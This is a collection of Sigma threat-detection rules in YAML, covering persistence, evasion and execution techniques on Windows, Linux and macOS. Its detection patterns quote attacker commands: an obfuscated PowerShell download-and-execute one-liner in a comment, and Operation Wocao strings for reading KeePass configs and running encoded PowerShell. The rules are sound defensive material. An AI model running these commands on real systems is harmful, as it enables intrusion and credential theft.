title: New ActiveScriptEventConsumer Created Via Wmic.EXE
id: ebef4391-1a81-4761-a40a-1db446c0e625
status: test
description: Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence
references:
    - https://twitter.com/johnlatwc/status/1408062131321270282?s=12
    - https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
author: Florian Roth (Nextron Systems)
date: 2021-06-25
modified: 2023-02-14
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'ActiveScriptEventConsumer'
            - ' CREATE '
    condition: selection
falsepositives:
    - Legitimate software creating script event consumers
level: high

title: New DNS ServerLevelPluginDll Installed
id: e61e8a88-59a9-451c-874e-70fcc9740d67
related:
    - id: cbe51394-cd93-4473-b555-edf0144952d9
      type: derived
    - id: f63b56ee-3f79-4b8a-97fb-5c48007e8573
      type: derived
status: test
description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
references:
    - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
    - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
author: Florian Roth (Nextron Systems)
date: 2017-05-08
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.defense-impairment
    - attack.t1574.001
    - attack.t1112
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|endswith: '\services\DNS\Parameters\ServerLevelPluginDll'
    condition: selection
falsepositives:
    - Unknown
level: high

title: New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE
id: f63b56ee-3f79-4b8a-97fb-5c48007e8573
related:
    - id: e61e8a88-59a9-451c-874e-70fcc9740d67
      type: derived
    - id: cbe51394-cd93-4473-b555-edf0144952d9
      type: derived
status: test
description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
references:
    - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
    - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
author: Florian Roth (Nextron Systems)
date: 2017-05-08
modified: 2023-02-05
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.defense-impairment
    - attack.t1574.001
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\dnscmd.exe'
        CommandLine|contains|all:
            - '/config'
            - '/serverlevelplugindll'
    condition: selection
falsepositives:
    - Unknown
level: high

title: New File Association Using Exefile
id: 44a22d59-b175-4f13-8c16-cbaef5b581ff
status: test
description: Detects the abuse of the exefile handler in new file association. Used for bypass of security products.
references:
    - https://twitter.com/mrd0x/status/1461041276514623491
author: Andreas Hunkeler (@Karneades)
date: 2021-11-19
modified: 2023-08-17
tags:
    - attack.stealth
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: 'Classes\.'
        Details: 'exefile'
    condition: selection
falsepositives:
    - Unknown
level: high

title: New Netsh Helper DLL Registered From A Suspicious Location
id: e7b18879-676e-4a0e-ae18-27039185a8e7
related:
    - id: 56321594-9087-49d9-bf10-524fe8479452
      type: similar
    - id: c90362e0-2df3-4e61-94fe-b37615814cb1
      type: similar
status: test
description: |
    Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
references:
    - https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll
    - https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-11-28
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.007
logsource:
    category: registry_set
    product: windows
detection:
    selection_target:
        TargetObject|contains: '\SOFTWARE\Microsoft\NetSh'
    selection_folders_1:
        Details|contains:
            - ':\Perflogs\'
            - ':\Users\Public\'
            - ':\Windows\Temp\'
            - '\AppData\Local\Temp\'
            - '\Temporary Internet'
    selection_folders_2:
        - Details|contains|all:
              - ':\Users\'
              - '\Favorites\'
        - Details|contains|all:
              - ':\Users\'
              - '\Favourites\'
        - Details|contains|all:
              - ':\Users\'
              - '\Contacts\'
        - Details|contains|all:
              - ':\Users\'
              - '\Pictures\'
    condition: selection_target and 1 of selection_folders_*
falsepositives:
    - Unknown
level: high

title: New RUN Key Pointing to Suspicious Folder
id: 02ee49e2-e294-4d0f-9278-f5b3212fc588
status: experimental
description: Detects suspicious new RUN key element pointing to an executable in a suspicious folder
references:
    - https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
    - https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2018-08-25
modified: 2025-10-06
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    selection_target:
        TargetObject|contains:
            - '\Software\Microsoft\Windows\CurrentVersion\Run'
            - '\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
            - '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
    selection_suspicious_paths_1:
        Details|contains:
            - ':\Perflogs'
            - :\ProgramData'
            - ':\Windows\Temp'
            - ':\Temp'
            - '\AppData\Local\Temp'
            - '\AppData\Roaming'
            - ':\$Recycle.bin'
            - ':\Users\Default'
            - ':\Users\public'
            - '%temp%'
            - '%tmp%'
            - '%Public%'
            - '%AppData%'
    selection_suspicious_paths_user_1:
        Details|contains: ':\Users\'
    selection_suspicious_paths_user_2:
        Details|contains:
            - '\Favorites'
            - '\Favourites'
            - '\Contacts'
            - '\Music'
            - '\Pictures'
            - '\Documents'
            - '\Photos'
    filter_main_windows_update:
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\RunOnce\'
        Image|startswith: 'C:\Windows\SoftwareDistribution\Download\'
        Details|contains|all:
            - 'rundll32.exe '
            - 'C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32'
        Details|contains:
            - '\AppData\Local\Temp\'
            - 'C:\Windows\Temp\'
    filter_optional_spotify:
        Image|endswith:
            - 'C:\Program Files\Spotify\Spotify.exe'
            - 'C:\Program Files (x86)\Spotify\Spotify.exe'
            - '\AppData\Roaming\Spotify\Spotify.exe'
        TargetObject|endswith: 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spotify'
        Details|endswith: 'Spotify.exe --autostart --minimized'
    condition: selection_target and (selection_suspicious_paths_1 or (all of selection_suspicious_paths_user_* )) and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Software using weird folders for updates
level: high

title: New TimeProviders Registered With Uncommon DLL Name
id: e88a6ddc-74f7-463b-9b26-f69fc0d2ce85
status: test
description: |
    Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
    Adversaries may abuse time providers to execute DLLs when the system boots.
    The Windows Time service (W32Time) enables time synchronization across and within domains.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md
author: frack113
date: 2022-06-19
modified: 2024-03-26
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1547.003
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Services\W32Time\TimeProviders'
        TargetObject|endswith: '\DllName'
    filter_main_w32time:
        Details:
            - '%SystemRoot%\System32\vmictimeprovider.dll'
            - '%systemroot%\system32\w32time.dll'
            - 'C:\Windows\SYSTEM32\w32time.DLL'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Non-Standard Nsswitch.Conf Creation - Potential CVE-2025-32463 Exploitation
id: 10ac0730-c24e-4f4c-81f8-b13a1ac95a1d
status: experimental
description: |
    Detects the creation of nsswitch.conf files in non-standard directories, which may indicate exploitation of CVE-2025-32463.
    This vulnerability requires an attacker to create a nsswitch.conf in a directory that will be used during sudo chroot operations.
    When sudo executes, it loads malicious shared libraries from user-controlled locations within the chroot environment,
    potentially leading to arbitrary code execution and privilege escalation.
references:
    - https://github.com/kh4sh3i/CVE-2025-32463/blob/81bb430f84fa2089224733c3ed4bfa434c197ad4/exploit.sh
author: Swachchhanda Shrawn Poudel (Nextron Systems)
date: 2025-10-02
modified: 2026-03-31
tags:
    - attack.privilege-escalation
    - attack.t1068
    - cve.2025-32463
    - detection.emerging-threats
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/etc/nsswitch.conf'
    filter_main_legitimate_path:
        TargetFilename:
            - '/etc/nsswitch.conf'
            - '/usr/share/factory/etc/nsswitch.conf'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Backup locations
level: high

title: Non-privileged Usage of Reg or Powershell
id: 8f02c935-effe-45b3-8fc9-ef8696a9e41d
status: test
description: Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
references:
    - https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg
author: Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community
date: 2020-10-05
modified: 2024-12-01
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection_cli:
        - CommandLine|contains|all:
              - 'reg '
              - 'add'
        - CommandLine|contains:
              - 'powershell'
              - 'set-itemproperty'
              - ' sp '
              - 'new-itemproperty'
    selection_data:
        IntegrityLevel:
            - 'Medium'
            - 'S-1-16-8192'
        CommandLine|contains|all:
            - 'ControlSet'
            - 'Services'
        CommandLine|contains:
            - 'ImagePath'
            - 'FailureCommand'
            - 'ServiceDLL'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: NtdllPipe Like Activity Execution
id: bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2
status: test
description: Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
references:
    - https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
author: Florian Roth (Nextron Systems)
date: 2022-03-05
modified: 2023-03-07
tags:
    - attack.defense-impairment
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'type %windir%\system32\ntdll.dll'
            - 'type %systemroot%\system32\ntdll.dll'
            - 'type c:\windows\system32\ntdll.dll'
            - '\\ntdll.dll > \\\\.\\pipe\\'
    condition: selection
falsepositives:
    - Unknown
level: high

title: OMIGOD SCX RunAsProvider ExecuteScript
id: 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.
    Script being executed gets created as a temp file in /tmp folder with a scx* prefix.
    Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.
    The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/etc/opt/microsoft/scx/conf/tmpdir/scx'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider ExecuteScript.
level: high

title: OMIGOD SCX RunAsProvider ExecuteShellCommand
id: 21541900-27a9-4454-9c4c-3f0a4240344a
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
    SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/bin/sh'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand.
level: high

title: OSACompile Run-Only Execution
id: b9d9b652-d8ed-4697-89a2-a1186ee680ac
status: test
description: Detects potential suspicious run-only executions compiled using OSACompile
references:
    - https://redcanary.com/blog/applescript/
    - https://ss64.com/osx/osacompile.html
author: Sohan G (D4rkCiph3r)
date: 2023-01-31
tags:
    - attack.t1059.002
    - attack.execution
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        CommandLine|contains|all:
            - 'osacompile'
            - ' -x '
            - ' -e '
    condition: selection
falsepositives:
    - Unknown
level: high

title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Octopus Scanner Malware
id: 805c55d9-31e6-4846-9878-c34c75054fe9
status: test
description: Detects Octopus Scanner Malware.
references:
    - https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
author: NVISO
date: 2020-06-09
modified: 2021-11-27
tags:
    - attack.initial-access
    - attack.t1195
    - attack.t1195.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\AppData\Local\Microsoft\Cache134.dat'
            - '\AppData\Local\Microsoft\ExplorerSync.db'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Office Macro File Creation From Suspicious Process
id: b1c50487-1967-4315-a026-6491686d860e
status: test
description: Detects the creation of a office macro file from a a suspicious process
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
    - https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-01-23
modified: 2023-02-22
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: file_event
    product: windows
    definition: 'Requirements: The "ParentImage" field is not available by default on EID 11 of Sysmon logs. To be able to use this rule to the full extent you need to enriche the log with additional ParentImage data'
detection:
    selection_cmd:
        - Image|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
        # Note: ParentImage is a custom field and is not available by default on Sysmon EID 11
        - ParentImage|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
    selection_ext:
        TargetFilename|endswith:
            - '.docm'
            - '.dotm'
            - '.xlsm'
            - '.xltm'
            - '.potm'
            - '.pptm'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Office Macros Warning Disabled
id: 91239011-fe3c-4b54-9f24-15c86bb65913
related:
    - id: 9b894e57-033f-46cf-b7fa-a52804181973
      type: obsolete
status: test
description: Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
references:
    - https://twitter.com/inversecos/status/1494174785621819397
    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
    - https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
author: Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)
date: 2020-05-22
modified: 2024-03-19
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Security\VBAWarnings'
        Details: 'DWORD (0x00000001)'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: OneNote.EXE Execution of Malicious Embedded Scripts
id: 84b1706c-932a-44c4-ae28-892b28a25b94
status: test
description: |
    Detects the execution of malicious OneNote documents that contain embedded scripts.
    When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
references:
    - https://bazaar.abuse.ch/browse/tag/one/
author: '@kostastsale'
date: 2023-02-02
tags:
    - attack.stealth
    - attack.t1218.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\onenote.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        CommandLine|contains:
            - '\exported\'
            - '\onenoteofflinecache_files\'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Onyx Sleet APT File Creation Indicators
id: 2fef4fd9-7206-40d1-b4f5-ad6441d0cd9b
status: test
description: Detects file creation activity that is related to Onyx Sleet APT activity
references:
    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-10-24
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: ':\Windows\ADFS\bg\inetmgr.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: OpenWith.exe Executes Specified Binary
id: cec8e918-30f7-4e2d-9bfa-a59cc97ae60f
status: test
description: The OpenWith.exe executes other binary
references:
    - https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml
    - https://twitter.com/harr0ey/status/991670870384021504
author: Beyu Denis, oscd.community (rule), @harr0ey (idea)
date: 2019-10-12
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\OpenWith.exe'
        CommandLine|contains: '/c'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Operation Wocao Activity
id: 1cfac73c-be78-4f9a-9b08-5bde0c3953ab
related:
    - id: 74ad4314-482e-4c3e-b237-3f7ed3b9ca8d
      type: derived
status: test
description: Detects activity mentioned in Operation Wocao report
references:
    - https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/
    - https://twitter.com/SBousseaden/status/1207671369963646976
author: Florian Roth (Nextron Systems), frack113
date: 2019-12-20
modified: 2022-10-09
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.discovery
    - attack.stealth
    - attack.t1012
    - attack.t1036.004
    - attack.t1027
    - attack.execution
    - attack.t1053.005
    - attack.t1059.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        CommandLine|contains:
            - 'checkadmin.exe 127.0.0.1 -all'
            - 'netsh advfirewall firewall add rule name=powershell dir=in'
            - 'cmd /c powershell.exe -ep bypass -file c:\s.ps1'
            - '/tn win32times /f'
            - 'create win32times binPath='
            - '\c$\windows\system32\devmgr.dll'
            - ' -exec bypass -enc JgAg'
            - 'type *keepass\KeePass.config.xml'
            - 'iie.exe iie.txt'
            - 'reg query HKEY_CURRENT_USER\Software\\*\PuTTY\Sessions\'
    condition: selection
falsepositives:
    - Administrators that use checkadmin.exe tool to enumerate local administrators
level: high

title: Outlook EnableUnsafeClientMailRules Setting Enabled
id: 55f0a3a1-846e-40eb-8273-677371b8d912
related:
    - id: 6763c6c8-bd01-4687-bc8d-4fa52cf8ba08 # Registry variation
      type: similar
status: test
description: Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros
references:
    - https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44
    - https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048
author: Markus Neis, Nasreddine Bencherchali (Nextron Systems)
date: 2018-12-27
modified: 2023-02-09
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059
    - attack.t1202
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '\Outlook\Security\EnableUnsafeClientMailRules'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Outlook EnableUnsafeClientMailRules Setting Enabled - Registry
id: 6763c6c8-bd01-4687-bc8d-4fa52cf8ba08
related:
    - id: c3cefdf4-6703-4e1c-bad8-bf422fc5015a
      type: similar
    - id: 55f0a3a1-846e-40eb-8273-677371b8d912 # ProcCreation variation
      type: similar
status: test
description: Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros
references:
    - https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048
    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-08
modified: 2023-08-17
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Outlook\Security\EnableUnsafeClientMailRules'
        Details: 'DWORD (0x00000001)'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Outlook Macro Execution Without Warning Setting Enabled
id: e3b50fa5-3c3f-444e-937b-0a99d33731cd
status: test
description: Detects the modification of Outlook security setting to allow unprompted execution of macros.
references:
    - https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53
author: '@ScoubiMtl'
date: 2021-04-05
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.command-and-control
    - attack.t1137
    - attack.t1008
    - attack.t1546
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Outlook\Security\Level'
        Details|contains: '0x00000001' # Enable all Macros
    condition: selection
falsepositives:
    - Unlikely
level: high

title: PCRE.NET Package Image Load
id: 84b0a8f3-680b-4096-a45b-e9a89221727c
status: test
description: Detects processes loading modules related to PCRE.NET package
references:
    - https://twitter.com/rbmaslen/status/1321859647091970051
    - https://twitter.com/tifkin_/status/1321916444557365248
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-10-29
modified: 2022-10-09
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|contains: \AppData\Local\Temp\ba9ea7344a4a5f591d6e5dc32a13494b\
    condition: selection
falsepositives:
    - Unknown
level: high

title: PCRE.NET Package Temp Files
id: 6e90ae7a-7cd3-473f-a035-4ebb72d961da
status: test
description: Detects processes creating temp files related to PCRE.NET package
references:
    - https://twitter.com/rbmaslen/status/1321859647091970051
    - https://twitter.com/tifkin_/status/1321916444557365248
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-10-29
modified: 2022-10-09
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains: \AppData\Local\Temp\ba9ea7344a4a5f591d6e5dc32a13494b\
    condition: selection
falsepositives:
    - Unknown
level: high

title: PDF File Created By RegEdit.EXE
id: 145095eb-e273-443b-83d0-f9b519b7867b
status: test
description: |
    Detects the creation of a file with the ".pdf" extension by the "RegEdit.exe" process.
    This indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.
references:
    - https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-07-08
tags:
    - attack.stealth
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\regedit.exe'
        TargetFilename|endswith: '.pdf'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: PSEXEC Remote Execution File Artefact
id: 304afd73-55a5-4bb9-8c21-0b1fc84ea9e4
status: test
description: Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system
references:
    - https://aboutdfir.com/the-key-to-identify-psexec/
    - https://twitter.com/davisrichardg/status/1616518800584704028
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-21
modified: 2023-02-23
tags:
    - attack.lateral-movement
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.t1136.002
    - attack.t1543.003
    - attack.t1570
    - attack.s0029
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Windows\PSEXEC-'
        TargetFilename|endswith: '.key'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: PUA - AdFind Suspicious Execution
id: 9a132afa-654e-11eb-ae93-0242ac130002
related:
    - id: 455b9d50-15a1-4b99-853f-8d37655a4c1b
      type: similar
    - id: 75df3b17-8bcc-4565-b89b-c9898acef911
      type: obsolete
status: test
description: Detects AdFind execution with common flags seen used during attacks
references:
    - https://www.joeware.net/freetools/tools/adfind/
    - https://thedfirreport.com/2020/05/08/adfind-recon/
    - https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/
    - https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
    - https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
    - https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md
    - https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects
author: Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community
date: 2021-02-02
modified: 2025-10-24
tags:
    - attack.discovery
    - attack.t1018
    - attack.t1087.002
    - attack.t1482
    - attack.t1069.002
    - stp.1u
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'domainlist'
            - 'trustdmp'
            - 'dcmodes'
            - 'adinfo'
            - '-sc dclist'
            - 'computer_pwdnotreqd'
            - 'objectcategory='
            - '-subnets -f'
            - 'name="Domain Admins"'
            - '-sc u:'
            - 'domainncs'
            - 'dompol'
            - ' oudmp '
            - 'subnetdmp'
            - 'gpodmp'
            - 'fspdmp'
            - 'users_noexpire'
            - 'computers_active'
            - 'computers_pwdnotreqd'
    condition: selection
falsepositives:
    - Legitimate admin activity
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage/info.yml
simulation:
    - type: atomic-red-team
      name: Adfind - Enumerate Active Directory Computer Objects
      technique: T1018
      atomic_guid: a889f5be-2d54-4050-bd05-884578748bb4
    - type: atomic-red-team
      name: Adfind - Enumerate Active Directory Domain Controller Objects
      technique: T1018
      atomic_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e

title: PUA - AdvancedRun Suspicious Execution
id: fa00b701-44c6-4679-994d-5a18afa8a707
related:
    - id: d2b749ee-4225-417e-b20e-a8d2193cbb84
      type: similar
status: test
description: Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts
references:
    - https://twitter.com/splinter_code/status/1483815103279603714
    - https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
    - https://www.elastic.co/security-labs/operation-bleeding-bear
    - https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
author: Florian Roth (Nextron Systems)
date: 2022-01-20
modified: 2023-02-21
tags:
    - attack.privilege-escalation
    - attack.stealth
